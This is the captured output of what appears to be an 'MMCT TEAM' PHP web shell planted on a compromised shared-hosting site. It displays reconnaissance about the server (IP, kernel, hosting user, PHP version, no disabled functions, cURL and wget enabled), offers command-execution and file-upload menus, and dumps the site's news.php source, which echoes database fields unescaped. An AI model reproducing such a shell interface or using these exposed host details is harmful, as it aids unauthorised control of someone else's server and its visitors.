MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 3.138.123.118
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/stjpuvjp.com/../smsoft.in/../stjpuvjp.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/stjpuvjp.com/../smsoft.in/../stjpuvjp.com/public_html/news.php
<!doctype html>
<html lang="en">


	
	<?php
	include "header.php";
	?>

    <!-- ==============================================
    ** Inner Banner **
    =================================================== -->
    <div class="inner-banner blog">
        <div class="container">
            <div class="row">
                <div class="col-sm-12">
                    <div class="content">
                        <h1>News & events</h1>
                    </div>
                </div>
            </div>
        </div>
    </div>


     <?php
include 'gallery/functions.php';
// Connect to MySQL
$pdo = pdo_connect_mysql();
// MySQL query that selects all the images

$stmt1 = $pdo->query('SELECT * FROM images_sta where `news`=1 ORDER BY uploaded_date DESC');
$images1 = $stmt1->fetchAll(PDO::FETCH_ASSOC);
?>
    <!-- ==============================================
    ** News & Events **
    =================================================== -->
    <section class="news-wrapper padding-lg">
        <div class="container">
            <ul class="row news-listing">
                <?php 
                foreach ($images1 as $name) {
        
      ?>  
                <li class="col-xs-6 col-sm-4 grid-item">
                    <div class="inner"> <img src="<?php echo "gallery/".$name['path']; ?>" class="img-responsive" alt="">
                        <div class="cnt-block">
                            <ul class="post-detail">
                                <li><span class="icon-date-icon ico"></span> <span class="bold"> <?php

$dt = new DateTime($name['uploaded_date']);
echo $dt->format('Y-m-d');                                          ?></span> </li>
                             
                            </ul>
                            <h2><?php  echo $name['title']; ?> </h2>
                            <p><?php  echo $name['description']; ?></p>
                        </div>
                    </div>
                </li>
                <?php 
                
                }
                ?>
            </ul>
           
        </div>
    </section>

    <!-- ==============================================
    ** Footer **
    =================================================== -->
   
	   <?php include "footer.php"; ?>
    
</body>


<!-- Mirrored from protechtheme.com/edumart/news.html by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 16 Jul 2020 08:56:31 GMT -->
</html>

MMCT - 2023